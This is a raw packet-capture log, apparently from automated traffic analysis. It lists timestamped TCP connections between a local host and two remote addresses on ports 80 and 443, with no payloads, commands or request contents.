Nov 24, 2024 08:44:10.845529079 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.845551014 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.845854044 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845916033 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845927000 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845940113 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845952034 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845959902 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.845968962 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845982075 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.845990896 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.846004009 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.846044064 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.846055031 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.846065998 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.846093893 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.846117020 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.846882105 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.846961021 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.846975088 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.847001076 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.847068071 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.847079992 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.847090960 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.847112894 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.847135067 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.847734928 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.847795010 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.847805977 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.847832918 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.847898006 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.847909927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.847920895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.847932100 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.847943068 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.847971916 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.848040104 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.848098993 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.848110914 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.848131895 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.848145962 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.848881006 CET	49791	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:10.848898888 CET	443	49791	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:10.848972082 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.849062920 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.849073887 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.849107027 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.849109888 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.849122047 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.849133015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.849145889 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.849153042 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.849167109 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.849304914 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.849315882 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.849328041 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.849349022 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.849373102 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.850016117 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850070000 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850081921 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850100040 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850102901 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.850127935 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.850136995 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850148916 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850161076 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850184917 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.850207090 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850218058 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850229025 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850250006 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.850272894 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.850694895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850800037 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850811005 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850821972 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850837946 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850841045 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.850851059 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850862980 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850869894 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.850874901 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850882053 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.850888014 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850899935 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.850908041 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.850933075 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.851418018 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.851428986 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.851440907 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.851453066 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.851465940 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.851469040 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.851476908 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.851480007 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.851495028 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.851504087 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.851507902 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.851521015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.851536036 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.851546049 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.851572990 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.852277040 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.852293015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.852304935 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.852336884 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.852349997 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.852360964 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.852371931 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.852382898 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.852391005 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.852405071 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.852451086 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.852463007 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.852474928 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.852499962 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.852516890 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.853359938 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.853409052 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.853421926 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.853446007 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.853461981 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.853485107 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.857495070 CET	49791	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:10.857505083 CET	443	49791	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:10.886224985 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.027523994 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.027551889 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.027564049 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.027631044 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.027683020 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.027694941 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.027704954 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.027718067 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.027724028 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.027748108 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.027976990 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.028013945 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.028029919 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.028045893 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.028078079 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.028152943 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.028179884 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.028192043 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.028206110 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.028213024 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.028239012 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.039657116 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.047097921 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047123909 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047137022 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047203064 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.047213078 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047224998 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047241926 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047247887 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047250032 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.047277927 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.047300100 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047317982 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047347069 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.047365904 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047394991 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047405958 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047418118 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.047430038 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.047547102 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047559023 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.047590971 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.047661066 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:11.055351019 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:11.292484999 CET	443	49791	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.292557955 CET	443	49791	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.292613029 CET	49791	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.292877913 CET	49791	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.292896986 CET	443	49791	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.292908907 CET	49791	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.292915106 CET	443	49791	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.296987057 CET	49796	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.297039986 CET	443	49796	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.297112942 CET	49796	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.297298908 CET	49796	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.297316074 CET	443	49796	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.361835003 CET	443	49793	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.362447977 CET	443	49792	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.398622990 CET	49793	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.398641109 CET	443	49793	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.399287939 CET	49793	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.399293900 CET	443	49793	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.399655104 CET	49792	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.399672985 CET	443	49792	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.400098085 CET	49792	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.400105000 CET	443	49792	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.639440060 CET	443	49794	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.640012980 CET	49794	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.640050888 CET	443	49794	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.640528917 CET	49794	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.640533924 CET	443	49794	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.734508991 CET	443	49795	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.735236883 CET	49795	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.735249043 CET	443	49795	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.735610962 CET	49795	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.735615969 CET	443	49795	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.796093941 CET	443	49793	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.796171904 CET	443	49793	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.796221972 CET	49793	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.797944069 CET	49793	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.797944069 CET	49793	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.797966003 CET	443	49793	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.797981977 CET	443	49793	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.804856062 CET	49797	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.804893017 CET	443	49797	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.804963112 CET	49797	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.805259943 CET	49797	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.805270910 CET	443	49797	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.816277981 CET	443	49792	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.816359997 CET	443	49792	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.816437960 CET	49792	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.816545963 CET	49792	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.816567898 CET	443	49792	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.816574097 CET	49792	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.816580057 CET	443	49792	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.819560051 CET	49798	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.819611073 CET	443	49798	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:11.819674969 CET	49798	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.821047068 CET	49798	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:11.821063042 CET	443	49798	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:12.083106041 CET	443	49794	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:12.083177090 CET	443	49794	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:12.083250046 CET	49794	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:12.083575010 CET	49794	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:12.083596945 CET	443	49794	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:12.083609104 CET	49794	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:12.083614111 CET	443	49794	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:12.087018013 CET	49799	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:12.087073088 CET	443	49799	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:12.087140083 CET	49799	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:12.087287903 CET	49799	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:12.087300062 CET	443	49799	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:12.186151981 CET	443	49795	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:12.186225891 CET	443	49795	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:12.186368942 CET	49795	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:12.186745882 CET	49795	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:12.186745882 CET	49795	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:12.186764956 CET	443	49795	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:12.186791897 CET	443	49795	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:12.190296888 CET	49800	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:12.190340996 CET	443	49800	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:12.190426111 CET	49800	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:12.190623999 CET	49800	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:12.190633059 CET	443	49800	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.080488920 CET	443	49796	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.081192970 CET	49796	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.081214905 CET	443	49796	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.081691027 CET	49796	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.081696033 CET	443	49796	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.522762060 CET	443	49796	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.522914886 CET	443	49796	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.522973061 CET	49796	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.584178925 CET	443	49797	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.605829954 CET	443	49798	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.630068064 CET	49798	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.630093098 CET	443	49798	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.638199091 CET	49798	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.638206005 CET	443	49798	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.638245106 CET	49797	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.707690954 CET	49796	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.707716942 CET	443	49796	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.707737923 CET	49796	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.707745075 CET	443	49796	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.709995985 CET	49797	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.710021019 CET	443	49797	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.710483074 CET	49797	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.710489035 CET	443	49797	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.715965033 CET	49801	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.716023922 CET	443	49801	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.716094017 CET	49801	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.717283010 CET	49801	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.717319012 CET	443	49801	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.877794027 CET	443	49799	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.878348112 CET	49799	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.878365040 CET	443	49799	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.878943920 CET	49799	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.878956079 CET	443	49799	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.911849022 CET	443	49800	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.912349939 CET	49800	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.912372112 CET	443	49800	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:13.912842989 CET	49800	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:13.912849903 CET	443	49800	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.035203934 CET	443	49797	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.035267115 CET	443	49797	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.035327911 CET	49797	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.035553932 CET	49797	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.035571098 CET	443	49797	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.035579920 CET	49797	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.035584927 CET	443	49797	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.038846016 CET	49802	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.038883924 CET	443	49802	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.038960934 CET	49802	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.039109945 CET	49802	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.039118052 CET	443	49802	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.047863007 CET	443	49798	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.047928095 CET	443	49798	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.047971010 CET	49798	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.048109055 CET	49798	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.048120975 CET	443	49798	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.048132896 CET	49798	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.048136950 CET	443	49798	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.050898075 CET	49803	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.050941944 CET	443	49803	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.050993919 CET	49803	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.051223993 CET	49803	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.051235914 CET	443	49803	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.322613955 CET	443	49799	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.322679996 CET	443	49799	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.322736025 CET	49799	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.324026108 CET	49799	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.324045897 CET	443	49799	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.324057102 CET	49799	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.324063063 CET	443	49799	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.327579021 CET	49804	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.327611923 CET	443	49804	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.327681065 CET	49804	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.327826977 CET	49804	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.327838898 CET	443	49804	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.348953009 CET	443	49800	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.349076986 CET	443	49800	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.349124908 CET	49800	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.352387905 CET	49800	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.352407932 CET	443	49800	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.352420092 CET	49800	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.352423906 CET	443	49800	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.362576962 CET	49805	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.362608910 CET	443	49805	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:14.362684011 CET	49805	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.364604950 CET	49805	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:14.364622116 CET	443	49805	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:15.560684919 CET	443	49801	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:15.561283112 CET	49801	443	192.168.2.10	13.107.246.63
